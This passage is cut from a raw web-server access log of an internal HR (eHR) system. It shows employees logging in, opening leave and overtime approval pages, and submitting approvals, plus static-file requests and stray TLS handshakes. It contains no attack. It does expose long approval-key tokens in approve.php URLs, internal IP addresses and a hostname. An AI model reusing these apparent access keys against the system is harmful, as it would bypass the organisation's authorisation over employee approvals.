/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F HTTP/1.1" 200 4163 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:20 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [01/Dec/2025:12:38:26 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9792DBE006CCFE93D577BF1035508DDAD2192A5A49E61460996C123CAF18089B6 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:12:38:26 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9792DBE006CCFE93D577BF1035508DDAD2192A5A49E61460996C123CAF18089B6 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:12:38:27 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9792DBE006CCFE93D577BF1035508DDAD2192A5A49E61460996C123CAF18089B6 HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:27 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9792DBE006CCFE93D577BF1035508DDAD2192A5A49E61460996C123CAF18089B6 HTTP/1.1" 200 4163 100.64.0.1 - - [01/Dec/2025:12:38:27 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9792DBE006CCFE93D577BF1035508DDAD2192A5A49E61460996C123CAF18089B6" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:27 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.131.236 - - [01/Dec/2025:12:42:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.131.236 - - [01/Dec/2025:12:42:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.131.236 - - [01/Dec/2025:12:42:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:12:42:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.131.236 - - [01/Dec/2025:12:42:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10437 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10437 192.168.131.236 - - [01/Dec/2025:12:42:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:12:42:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.131.236 - - [01/Dec/2025:12:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:12:42:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 157300 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.131.236 - - [01/Dec/2025:12:42:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 157300 100.64.0.1 - - [01/Dec/2025:12:50:43 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:12:50:43 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:12:57:01 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:12:57:01 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:12:57:02 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:12:57:02 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:13:01:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:13:01:23 +0800] "GET / HTTP/1.1" 200 439 192.168.40.34 - - [01/Dec/2025:13:01:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [01/Dec/2025:13:01:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [01/Dec/2025:13:01:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.40.34 - - [01/Dec/2025:13:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 20581 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 20581 192.168.40.34 - - [01/Dec/2025:13:01:51 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:51 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132655%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132655&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132655%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132655&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132656%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132656&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132656%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132656&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 